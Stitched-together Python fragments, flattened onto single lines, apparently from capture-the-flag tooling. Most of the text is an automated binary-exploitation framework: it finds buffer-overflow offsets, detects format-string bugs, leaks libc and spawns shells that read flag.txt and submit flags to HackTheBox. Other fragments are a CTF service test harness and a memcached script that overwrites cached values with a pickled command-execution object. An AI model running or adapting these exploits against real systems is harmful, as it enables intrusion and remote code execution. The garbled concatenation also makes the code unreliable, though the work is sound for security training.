p.recvlines(numlines=100, timeout=1) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.sendline(self.args.magic) p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: ' + result.strip("START").strip("END")) except EOFError: pass p.close() return result def submit_challenge_flag(self, flag): ''' Submit flag to htb ''' url = 'https://www.hackthebox.eu/api/challenges/own/?api_token=' + self.api_key data = {'challenge_id': self.args.cid, 'flag': flag, "difficulty": 1} data_str = "&".join("%s=%s" % (k, v) for k, v in data.items()) headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } if not self.args.p: r = requests.post(url, data=data_str, headers=headers, verify=False) else: r = requests.post(url, data=data_str, headers=headers, verify=False, proxies={'https': self.args.p}) log.info("Result: " + str(r.status_code)) def get_dynamic(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process("./" + self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) p.sendline(pattern) p.wait() p.close() core = Coredump('./core') log.info("Fault: " + hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: " + str(self.offset)) return True log.failure("Can not get offset") return False def check_success(self, p): ''' Check if we can execute shell commands and submit the flag when doing htb challenges ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.cid and len(flag) > 0 and flag.find( 'No such file or directory') == -1: self.submit_challenge_flag(flag.strip("\n")) log.success("Submitted flag: " + flag) #log.success("Submitted flag: <censored>") else: log.info("Not submitted") log.info('Time spent: ' + str(round((time.time() - self.start_time), 2)) + 's') p.interactive() return True except EOFError: log.failure("Failed") pass return False def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vuln") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except IndexError: log.failure("Could not find format string vuln") return else: self.offset = int(self.args.o) log.info("Offset: " + str(self.offset)) # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") p = self.connect() leak = self.leak.get_leak(p) p.close() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.get_libc(leak) exploits = [ self.exploit.bss, self.exploit.bss_execve, self.exploit.default ] for version in versions: for exploit in exploits: p = self.connect() leak = self.leak.get_leak(p) if len(leak) == 0: continue log.info("Using " + version) try: libc = ELF(version) # take first hit for now except IOError: log.failure("Could not load " + version + "(skipping)") continue name, addr = leak.items()[0] libc_base = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc_base))) # exploit log.info("Running exploits") try: if exploit(p, libc, libc_base): log.success("Done!") return except EOFError: pass p.close() else: log.failure("Could not leak anything")
HOST = '127.0.0.1' PORT = int(sys.argv[1]) FLAG = 'xxxflagxxx' print 'Setflag..' sf = SetFlag() sf.execute(HOST, PORT, FLAG) res = sf.result() print 'Result: %s' % str(res) flag_id = res['FLAG_ID'] cookie = res['TOKEN'] print 'Exploit..' e = Exploit() e.execute(HOST, PORT, flag_id) res = e.result() print 'Result: %s' % str(res) assert res['FLAG'] == FLAG print 'Getflag..' cf = GetFlag() cf.execute(HOST, PORT, flag_id, cookie) res = cf.result() print 'Result: %s' % str(res) assert res['FLAG'] == FLAG print 'Benign..' b = Benign() b.execute(HOST, PORT)
HOST = 'memcached' PORT = 11211 # Find keys s = socket.socket() s.connect((HOST, PORT)) s.sendall(b'stats items\r\n') lines = s.recv(4096).split(b'\r\n') slabs = { re.match(br'STAT items:(\d+):.*', line).group(1) for line in lines[:-2] } keys = [] for slab in slabs: s.sendall(b'stats cachedump %s 0\r\n' % (slab)) lines = s.recv(4096).split(b'\r\n')[:-2] for line in lines: keys.append(re.match(br'ITEM (\S+) \[\d+ b; \d+ s\]', line).group(1)) s.close() mc = pylibmc.Client(['{}:{}'.format(HOST, PORT)]) # Replace values for key in keys: print key mc[key] = Exploit(['echo', 'injected'])
def __init__(self): Exploit.__init__(self) self.empty_exploit = lambda: []